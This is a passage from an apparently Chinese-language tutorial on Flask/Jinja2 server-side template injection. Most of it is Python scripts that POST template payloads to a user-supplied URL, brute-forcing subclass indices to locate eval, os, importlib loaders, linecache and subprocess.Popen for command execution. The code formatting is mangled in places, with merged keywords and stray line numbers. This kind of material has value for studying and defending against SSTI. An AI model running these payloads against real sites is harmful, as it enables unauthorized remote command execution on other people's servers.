import requests url = input('input url:') for i inrange(500): #name is post form's name data={"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"} try: response = requests.post(url,data=data) #print(response.text) if response.status_code == 200: if'_fronzen_importlib_external.FileLoader'in response.text: print(i) except: pass
这是一种,构造请求后不断访问,直到找到目标的时候返回值为 200 且目标在其中.我觉得也可以将手工查看父类的所有子类,然后排序(按 class 每行)获知列表下标的过程用代码来实现,优点是减少了请求次数(一次请求即可),不过上面脚本的优点是可以在后面查找更低目标函数所在位置的时候复用。
内建函数 eval 执行命令
我们要先找出哪个模块中有 eval 函数,这个过程可以用脚本解决
1 2 3 4 5 6 7 8 9 10 11 12 13
import requests url = input('input url:') for i inrange(500): #name is post form's name data={"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"} try: response = requests.post(url,data=data) #print(response.text) if response.status_code == 200: if'eval'in response.text: print(i) except: pass
import requests url = input('input url:') for i inrange(500): #name is post form's name data={"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"} try: response = requests.post(url,data=data) #print(response.text) if response.status_code == 200: if'os.py'in response.text: print(i) except: pass
importlib 类执行命令
可以加载第三方库,使用 load_module 加载 os
1 2 3 4 5 6 7 8 9 10 11 12 13
import requests url = input('input url:') for i inrange(500): #name is post form's name data={"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"} try: response = requests.post(url,data=data) #print(response.text) if response.status_code == 200: if'_fronzen_importlib_BuiltinImporter'in response.text: print(i) except: pass
linecache 函数可用于读取任意一个文件的某一行,而这个函数也引入了 os 模块,所以我们可以使用此函数执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13
import requests url = input('input url:') for i inrange(500): #name is post form's name data={"name":"{{().__class__.__base__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"} try: response = requests.post(url,data=data) #print(response.text) if response.status_code == 200: if'linecache'in response.text: print(i) except: pass
import requests url = input('input url:') for i inrange(500): #name is post form's name data={"name":"{{().__class__.__base__[0].__subclasses__()["+str(i)+"]}}"} try: response = requests.post(url,data=data) #print(response.text) if response.status_code == 200: if'subprocess.Popen'in response.text: print(i) except: pass